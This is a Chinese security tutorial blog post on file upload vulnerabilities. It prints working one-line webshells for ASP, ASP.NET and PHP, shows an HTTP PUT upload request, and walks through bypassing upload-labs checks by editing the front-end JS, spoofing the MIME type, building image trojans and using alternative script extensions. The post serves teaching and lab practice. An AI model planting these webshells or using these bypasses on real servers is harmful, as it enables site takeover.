文件上传漏洞(一)

一、文件上传漏洞

1.1 漏洞描述

文件上传是 Web 应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站。如果服务器配置不当或者没有进行足够的过滤,Web 用户就可以上传任意文件,包括恶意脚本文件、exe 程序等,这就造成了文件上传漏洞。

1.2 漏洞成因

文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;

另一方面,Web 应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;

再者就是程序开发部署时候,没有考虑到系统特性和验证过滤不严格而导致限制被绕过,上传任意文件。

1.3 漏洞危害

上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。如果 Web 服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,拿到系统管理权限,就能直接导致服务器沦陷。且同服务器下的其他网站也无一幸免,均会被攻击者控制。

通过上传漏洞获得的网站后门,就是 Webshell。

二、WebShell

在计算机科学中,Shell 俗称壳(用来区别“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于 windows 系统给的 cmd.exe 或者 Linux 下 bash 等,虽然这些系统的命令解释器不止一种。

WebShell 是一个网站的后门,也是一个命令解释器,不过是以 Web 方式(HTTP 协议)通信(传递命令消息),继承了 Web 用户的权限。WebShell 本质上是服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等,也就是说 WebShell 接受来自于 Web 用户的命令,然后在服务器端执行。

2.1 大马

WebShell 也可以是大马,也就是网站木马。有一类 WebShell 之所以叫大马,是因为与小马(一句话木马)区分开,并且代码量较大,但是功能丰富。同样,大马又很多脚本格式,其功能基本相同。每个团队都有自己的定制木马。

在大马中,我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。

2.2 小马

小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话

ASP:

<%eval request(“cmd”)%>

ASP.NET:

<%@ Page Language=“Jscript”%>

<%eval(request.Item[“cmd”],“unsafe”);%>

PHP:

<?php @eval($_REQUEST['cmd']);?>

JSP 和 jspx 的一句话木马比较复杂一些

一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个 php 的一句话木马,密码就是[cmd]。 中国菜刀与一句话木马配合实现了三大基本功能

1、文件管理

在中国蚁剑页面继承 Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行 exe 程序等

2、虚拟终端

在中国蚁剑下可以获得 cmd 和 bash 的命令行接口,可以执行相关命令。

3、数据库管理

我们可以使用中国蚁剑进行数据库管理,此时需要知道连接数据库的账密。以 MYSQL 为例,填写配置,如下

MYSQL //数据库类型

localhost //数据地址

root //数据库用户

root

//数据库密码

utf-8 //数据库编码

2.3 GetShell

GetShell ,顾名思义就是获取 web 的过程。当然任意文件上传是 GetShell 的主要方式,但并不是唯一途径。

三、文件上传漏洞利用的条件

一定的条件

1、Web 服务器要开启文件上传功能,并且上传 ap(ip接口)对外开放(web 用户可以访问)。

2、Web 用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web 目录都有执行权限

3、要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是 Web 容器可以解析我们上传的脚本,无论脚本以什么样的形式存在

4、无视以上条件的情况就是服务器配置不当,开启了 PUT 方法。

四、防御、绕过、利用

文件上传的防御、文件上传的防御绕过还有利用,总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。

4.1 黑白名单策略

黑白名单是常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果客体在黑名单中,一律禁止,如果客体在白名单中,一律允许。类似于手机号码的黑白名单。

Chrome 浏览器的黑白名单策略

政策说明
URLBlacklist禁止访问你已阻止的网址。不过,用户可以访问黑名单之外的所有网址
不设置此政策:用户将可以自由访问所有网址
URLWhitelist将此政策与 URLBlacklist 政策搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问
白名单的优先级高于黑名单。你至少要在黑名单中添加一个条目,才能正常使用此策略
不设置此策略:网址黑名单将没有例外网址

华为收集安装软件黑白名单策略

政策说明
白名单模式,检查只能安装的软件只允许终端主机安装软件白名单中的软件,安装其他软件属于违规行为
对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装,属于违规行为
对于白名单中的软件,该软件不属于必须安装软件,而终端
主机未安装,不属于违规行为
白名单+黑名单模式,检查必须安全的软件和禁止安全的软件如果终端主机未安装白名单中的任意一款软件,则属于违规行为
如果终端主机已经安装黑名单中的任意一款如那件,则属于
违规行为
如果终端主机已经安装了白名单中的所有软件,并且安装了
黑名单中的任意一款软件,则不属于违规行为

4.1 PUT 方法上传文件

HTTP 请求方法之一,允许向服务器直接写入文件

1、Apache 如何开启 PUT 方法

测试 Apache 是否开启了 put 方法

apache 开启 put 方法操作

httpd.conf 文件

phpstudy 目录:C:\phpStudy\Apache\conf\httpd.conf开启 dav 模块

在这里插入图片描述

启用模块
在这里插入图片描述

开启文件锁

在这里插入图片描述

创建 DAV 锁文件

在 c:\phpStudy\WWW\目录下创建名为 DavLock 文件

上传文件

PUT /info.php HTTP/1.1 HOST:192.168.1.200

Content-Length:18

<?php phpinfo();?>

4.3 前端限制与绕过

有一些 Web 应用的文件上传功能,仅在前端用了 JS 脚本做检测,如检测文件后缀名等。

upload-labs pass-1 就是如此

<script type="text/javascript"> function checkFile() {
var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") {
alert("请选择要上传的文件!"); return false;
}
//定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg); return false;
}
}
</script>

这里采用的是白名单策略,检测文件后缀名。再配合表单事件使用

<form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>

前端 JS 脚本检测的安全防御使非常薄弱的,可以非常轻松的绕过

方法一:因为 JS 脚本运行环境使浏览器,我们可以修改 JS 代码,或者删除表单事件中的 οnsubmit=“return checkFile()”

方法二:使恶意文件后缀名符合白名单策略,用 Burp 挂代理抓包,然后修改文件后缀名即可 ![图片]
在这里插入图片描述
对于文件上传,只从 Web 前端进行检测显然防护不足,因此服务器端的检测就显得的特别重要,一般服务器端检测,采用黑白名单策略。

4.4 服务器端检测–MIME 类型
MIME(Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME 消息包含文本、图像、音频、视频以及其他应用程序的专用的数据。常见的 MIME 类型如下
文件扩展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf
在HTTP 协议中,使用 Content-Type 字段表示文件的MIME 类型。当我们上传文件的时候,抓到 HTTP 数据包。
在服务器端会检测 Content-Type 类型,upload-labs pass-2,金典代码如下

$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type']
== 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传🎧错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

由于服务器在检测 Content-Type 类型的时候,取得的变量来自用户,故我们仍可以通过 bp
抓包,修改这个字段,使其合法,即可绕过限制上传任意文件
在这里插入图片描述
4.5 服务器端检测–文件内容
除了检测上传文件的 Content-Type 类型,为了保持安全性,服务器端还会检测文件内容。 PHP 中有一个函数 getimagesize(),这个函数本意是检查图片的大小,但是在检查之前该函数会判断目标文件是否为一张图片。因此,可以用该函数来检测文件的内容

upload-labs pass-14 关
 function isImage($filename){
$types = '.jpeg|.png|.gif'; if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

图片木马制作
方法一:
1、新建文件 inifo.gif,用文本编辑器打开。

<?php phpinfo();
?>

2、上传,用 BP 截获,进行修改,添加 GIF89a
在这里插入图片描述
注意:文件上传成功,我们可以通过浏览器访问该文件,但该文件的 php 代码不能被执行,需要结合文件包含漏洞或者服务器解析漏洞,才能使该文件中的 php 代码执行。
思路扩展,如果服务器存在数据库备份功能,我们可以通过备份该文件,使它的文件扩展名改为.php。

方法二:
copy test.jpg/b+phpinfo.php/a test_info.jpg

方法三:
在图片的属性,版权中添加 php 代码。
在这里插入图片描述
方法四:文件幻术
我们知道所有的 jpg 图片的文件头部都是相同的,png 和 gif 图片也是一样。
png
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

jpg
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2c

gif
47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

例如:
1、新建文件,复制文件幻术
在这里插入图片描述
2、选中以上十六进制数,将以上十六进制转换为 ASCII 码
在这里插入图片描述
在这里插入图片描述
3、添加 php 代码

在这里插入图片描述
4、保存为 test.png 文件。
5、上传该文件

4.6 服务器端检测–后缀名
服务器端还会检测文件后缀名。
服务器端在检测文件名的时候,依然会采用黑白名单策略。黑名单策略,不允许上传 php、 asp、aspx、jsp…等可执行脚本的文件。白名单策略,只允许上传 jpg、gif、png、doc、rar…等格式的文件。
黑名单
代码中的$deny_exit 数据就是一个黑名单,数组元素就是不容许上传的类型对于黑名单,我们可以寻找其他允许上传的类型来绕过限制
可以执行脚本后缀名
.php .php2 .php3 .php5 .phtml
.asp .aspx .ascx .ashx .asa
.cer
.jsp .jspx
白名单
对于后缀名白名单策略,我们只能通过上传白名单内的文件后缀名。需要结合其它漏洞利用。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑战士安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值